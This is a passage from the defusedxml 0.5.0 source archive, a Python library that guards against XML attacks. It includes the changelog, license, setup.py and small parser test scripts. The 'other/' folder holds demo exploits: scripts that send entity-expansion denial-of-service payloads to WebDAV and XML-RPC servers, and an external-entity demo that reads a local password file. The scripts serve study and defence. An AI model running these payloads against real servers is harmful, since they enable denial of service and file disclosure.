on PyPI: https://pypi.python.org/pypi/defusedexpat .. _modified expat: https://bitbucket.org/tiran/expat .. _expat parser: http://expat.sourceforge.net/ .. _Attacking XML Security: https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf .. _Billion Laughs: http://en.wikipedia.org/wiki/Billion_laughs .. _XML DoS and Defenses (MSDN): http://msdn.microsoft.com/en-us/magazine/ee335713.aspx .. _ZIP bomb: http://en.wikipedia.org/wiki/Zip_bomb .. _DTD: http://en.wikipedia.org/wiki/Document_Type_Definition .. _PI: https://en.wikipedia.org/wiki/Processing_Instruction .. _Avoid the dangers of XPath injection: http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html .. _Configure SAX parsers for secure processing: http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html .. _Testing for XML Injection: https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008) .. _Xerces SecurityMananger: http://xerces.apache.org/xerces2-j/javadocs/xerces2/org/apache/xerces/util/SecurityManager.html .. _XML Inclusion: http://www.w3.org/TR/xinclude/#include_element defusedxml-0.5.0/other/0000775000175000017500000000000013047075227015554 5ustar heimesheimes00000000000000defusedxml-0.5.0/other/python_genshi.py0000775000175000017500000000025412757100071021001 0ustar heimesheimes00000000000000#!/usr/bin/python import sys from pprint import pprint from genshi.input import XMLParser with open(sys.argv[1]) as f: parser = XMLParser(f) pprint(list(parser)) defusedxml-0.5.0/other/exploit_webdav.py0000775000175000017500000000167212757100071021144 0ustar heimesheimes00000000000000#!/usr/bin/python """Demo exploit for WebDAV DoS attack Author: Christian Heimes """ import sys import base64 import urlparse import httplib if len(sys.argv) != 2: sys.exit("{} http://user:password@host:port/".format(sys.argv[0])) url = urlparse.urlparse(sys.argv[1]) xml = """ ]> QUAD """ xml = xml.replace("VALUE", "a" * 30000) xml = xml.replace("QUAD", "&a;" * 1000) headers = { "Content-Type": "text/xml", "Content-Length": len(xml), "Depth": 1, } if url.username: auth = base64.b64encode(":".join((url.username, url.password))) headers["Authorization"] = "Basic %s" % auth con = httplib.HTTPConnection(url.hostname, int(url.port)) con.request("PROPFIND", url.path, body=xml, headers=headers) res = con.getresponse() print(res.read()) defusedxml-0.5.0/other/README.txt0000664000175000017500000000021612757100071017242 0ustar heimesheimes00000000000000This directory contains test and demo scripts for other frameworks and languages. I used them to examine the characteristics of XML parsers. defusedxml-0.5.0/other/ruby-libxml.rb0000775000175000017500000000041712757100071020345 0ustar heimesheimes00000000000000#!/usr/bin/ruby -w require 'libxml' include LibXML class PostCallbacks include XML::SaxParser::Callbacks def on_start_element(element, attributes) puts element end end parser = XML::SaxParser.file(ARGV[0]) parser.callbacks = PostCallbacks.new parser.parse defusedxml-0.5.0/other/exploit_xmlrpc.py0000775000175000017500000000134312757100071021174 0ustar heimesheimes00000000000000#!/usr/bin/python """Demo exploit for XML-RPC DoS attack Author: Christian Heimes """ import sys import urllib2 if len(sys.argv) != 2: sys.exit("{} url".format(sys.argv[0])) url = sys.argv[1] xml = """ ]> system.methodSignature QUAD """ xml = xml.replace("VALUE", "a" * 100000) xml = xml.replace("QUAD", "&a;" * 1000) headers = {"Content-Type": "text/xml", "Content-Length": len(xml)} req = urllib2.Request(url, data=xml, headers=headers) print("Sending request to {}".format(url)) resp = urllib2.urlopen(req) print("Response") print(resp.read()) defusedxml-0.5.0/other/python_external.py0000775000175000017500000000303412757100071021345 0ustar heimesheimes00000000000000#!/usr/bin/python """Demo exploit for external entity expansion Author: Christian Heimes """ import sys from xml.sax import ContentHandler from xml.sax import parseString xml_good = """Aachen""" xml_bad_file = """ ]> &passwd; """ xml_bad_url = """ ]> &url; """ class WeatherHandler(ContentHandler): def __init__(self): ContentHandler.__init__(self) self.tag = "unseen" self.city = [] def startElement(self, name, attrs): if name != "weather" or self.tag != "unseen": raise ValueError(name) self.tag = "processing" def endElement(self, name): self.tag = "seen" self.city = "".join(self.city) def characters(self, content): if self.tag == "processing": self.city.append(content) def weatherResponse(xml): handler = WeatherHandler() parseString(xml, handler) if handler.city == "Aachen": return "The weather in %s is terrible.Unknown city %s" % handler.city[:500] for xml in (xml_good, xml_bad_file, xml_bad_url): print("\nREQUEST:\n--------") print(xml) print("\nRESPONSE:\n---------") print(weatherResponse(xml)) print("") defusedxml-0.5.0/other/ruby-rexml.rb0000775000175000017500000000031412757100071020201 0ustar heimesheimes00000000000000#!/usr/bin/ruby -w require "rexml/document" xml = File.read(ARGV[0]) # REXML::Document.entity_expansion_limit = 1000 xmldoc = REXML::Document.new(xml) data = xmldoc.root.text #puts data.length puts data defusedxml-0.5.0/other/perl.pl0000775000175000017500000000022612757100071017047 0ustar heimesheimes00000000000000#!/usr/bin/perl use XML::Simple; use Data::Dumper; $parser = new XML::Simple; $xml = $parser->XMLin("$ARGV[0]"); $data = Dumper($xml); print $data; defusedxml-0.5.0/other/php.php0000775000175000017500000000046712757100071017057 0ustar heimesheimes00000000000000#!/usr/bin/php defusedxml-0.5.0/other/ruby-hpricot.rb0000775000175000017500000000013412757100071020522 0ustar heimesheimes00000000000000#!/usr/bin/ruby -w require 'hpricot' xml = File.read(ARGV[0]) doc = Hpricot(xml) puts doc defusedxml-0.5.0/CHANGES.txt0000664000175000017500000000314413047075147016247 0ustar heimesheimes00000000000000Changelog ========= defusedxml 0.5.0 ---------------- *Release date: 07-Feb-2017* - No changes defusedxml 0.5.0.rc1 -------------------- *Release date: 28-Jan-2017* - Add compatibility with Python 3.6 - Drop support for Python 2.6, 3.1, 3.2, 3.3 - Fix lxml tests (XMLSyntaxError: Detected an entity reference loop) defusedxml 0.4.1 ---------------- *Release date: 28-Mar-2013* - Add more demo exploits, e.g. python_external.py and Xalan XSLT demos. - Improved documentation. defusedxml 0.4 -------------- *Release date: 25-Feb-2013* - As per http://seclists.org/oss-sec/2013/q1/340 please REJECT CVE-2013-0278, CVE-2013-0279 and CVE-2013-0280 and use CVE-2013-1664, CVE-2013-1665 for OpenStack/etc. - Add missing parser_list argument to sax.make_parser(). The argument is ignored, though. (thanks to Florian Apolloner) - Add demo exploit for external entity attack on Python's SAX parser, XML-RPC and WebDAV. defusedxml 0.3 -------------- *Release date: 19-Feb-2013* - Improve documentation defusedxml 0.2 -------------- *Release date: 15-Feb-2013* - Rename ExternalEntitiesForbidden to ExternalReferenceForbidden - Rename defusedxml.lxml.check_dtd() to check_docinfo() - Unify argument names in callbacks - Add arguments and formatted representation to exceptions - Add forbid_external argument to all functions and classs - More tests - LOTS of documentation - Add example code for other languages (Ruby, Perl, PHP) and parsers (Genshi) - Add protection against XML and gzip attacks to xmlrpclib defusedxml 0.1 -------------- *Release date: 08-Feb-2013* - Initial and internal release for PSRT review defusedxml-0.5.0/MANIFEST.in0000664000175000017500000000035412757100071016164 0ustar heimesheimes00000000000000include setup.py include README.txt CHANGES.txt LICENSE README.html include void.css include MANIFEST.in include setup.py Makefile include tests.py recursive-include xmltestdata *.xml recursive-include other *.php *.pl *.rb *.py *.txt defusedxml-0.5.0/LICENSE0000664000175000017500000000455112757100071015436 0ustar heimesheimes00000000000000PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2 -------------------------------------------- 1. This LICENSE AGREEMENT is between the Python Software Foundation ("PSF"), and the Individual or Organization ("Licensee") accessing and otherwise using this software ("Python") in source or binary form and its associated documentation. 2. Subject to the terms and conditions of this License Agreement, PSF hereby grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use Python alone or in any derivative version, provided, however, that PSF's License Agreement and PSF's notice of copyright, i.e., "Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008 Python Software Foundation; All Rights Reserved" are retained in Python alone or in any derivative version prepared by Licensee. 3. In the event Licensee prepares a derivative work that is based on or incorporates Python or any part thereof, and wants to make the derivative work available to others as provided herein, then Licensee hereby agrees to include in any such work a brief summary of the changes made to Python. 4. PSF is making Python available to Licensee on an "AS IS" basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT INFRINGE ANY THIRD PARTY RIGHTS. 5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. 6. This License Agreement will automatically terminate upon a material breach of its terms and conditions. 7. Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between PSF and Licensee. This License Agreement does not grant permission to use PSF trademarks or trade name in a trademark sense to endorse or promote products or services of Licensee, or any third party. 8. By copying, installing or otherwise using Python, Licensee agrees to be bound by the terms and conditions of this License Agreement. defusedxml-0.5.0/setup.py0000664000175000017500000000337013043120735016137 0ustar heimesheimes00000000000000#!/usr/bin/env python from __future__ import absolute_import import sys from distutils.core import Command import subprocess from setuptools import setup import defusedxml class PyTest(Command): user_options = [] def initialize_options(self): pass def finalize_options(self): pass def run(self): errno = subprocess.call([sys.executable, "tests.py"]) raise SystemExit(errno) long_description = [] with open("README.txt") as f: long_description.append(f.read()) with open("CHANGES.txt") as f: long_description.append(f.read()) setup( name="defusedxml", version=defusedxml.__version__, cmdclass={"test": PyTest}, packages=["defusedxml"], author="Christian Heimes", author_email="christian@python.org", maintainer="Christian Heimes", maintainer_email="christian@python.org", url="https://github.com/tiran/defusedxml", download_url="https://pypi.python.org/pypi/defusedxml", keywords="xml bomb DoS", platforms="all", license="PSFL", description="XML bomb protection for Python stdlib modules", long_description="\n".join(long_description), classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "License :: OSI Approved :: Python Software Foundation License", "Natural Language :: English", "Programming Language :: Python", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Topic :: Text Processing :: Markup :: XML", ], )